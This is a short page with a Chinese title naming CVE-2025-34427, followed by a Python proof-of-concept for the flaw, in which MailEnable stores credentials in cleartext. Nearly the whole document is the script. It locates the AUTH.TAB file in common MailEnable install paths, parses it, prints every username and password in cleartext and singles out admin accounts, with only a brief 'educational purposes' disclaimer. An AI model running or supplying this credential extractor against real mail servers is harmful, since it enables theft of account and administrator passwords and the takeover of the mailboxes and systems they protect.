CVE-2025-34427 MailEnable AUTH.TAB明文存储凭证漏洞

#!/usr/bin/env python3 """ CVE-2025-34427 PoC - MailEnable AUTH.TAB Cleartext Credentials Note: This PoC is for educational and authorized testing purposes only. """ import os import sys import re def read_auth_tab(file_path): """ Read and parse MailEnable AUTH.TAB file AUTH.TAB format typically contains entries like: USERNAME:PASSWORD:DOMAIN:FLAGS """ credentials = [] try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: line = line.strip() if not line or line.startswith('#'): continue parts = line.split(':') if len(parts) >= 2: username = parts[0] password = parts[1] domain = parts[2] if len(parts) > 2 else 'N/A' flags = parts[3] if len(parts) > 3 else 'N/A' credentials.append({ 'username': username, 'password': password, 'domain': domain, 'flags': flags }) except FileNotFoundError: print(f'[-] AUTH.TAB file not found: {file_path}') except PermissionError: print(f'[-] Permission denied reading: {file_path}') except Exception as e: print(f'[-] Error reading file: {e}') return credentials def find_auth_tab_paths(): """Common MailEnable installation paths for AUTH.TAB""" common_paths = [ r'C:\Program Files\MailEnable\Config\AUTH.TAB', r'C:\Program Files (x86)\MailEnable\Config\AUTH.TAB', r'C:\MailEnable\Config\AUTH.TAB', r'C:\Program Files\Mail Enable\Config\AUTH.TAB', ] return [p for p in common_paths if os.path.exists(p)] def main(): print('[+] CVE-2025-34427 - MailEnable AUTH.TAB Credentials Extractor') print('[+] Target: MailEnable < 10.54\n') # Try to find AUTH.TAB in common locations auth_tab_paths = find_auth_tab_paths() if not auth_tab_paths: print('[-] AUTH.TAB file not found in common locations') print('[-] Please provide the full path manually') return all_credentials = [] for path in auth_tab_paths: print(f'[+] Found AUTH.TAB: {path}') creds = read_auth_tab(path) all_credentials.extend(creds) if creds: print(f'[+] Extracted {len(creds)} credential entries:\n') for cred in creds: print(f" User: {cred['username']}@{cred['domain']}") print(f" Pass: {cred['password']}") print(f" Flags: {cred['flags']}\n") if all_credentials: print(f'[+] Total: {len(all_credentials)} credentials extracted') # Check for admin accounts admins = [c for c in all_credentials if 'admin' in c['username'].lower() or c['flags'] in ['A', 'SA']] if admins: print(f'[!] WARNING: Found {len(admins)} admin/superadmin accounts!') if __name__ == '__main__': main()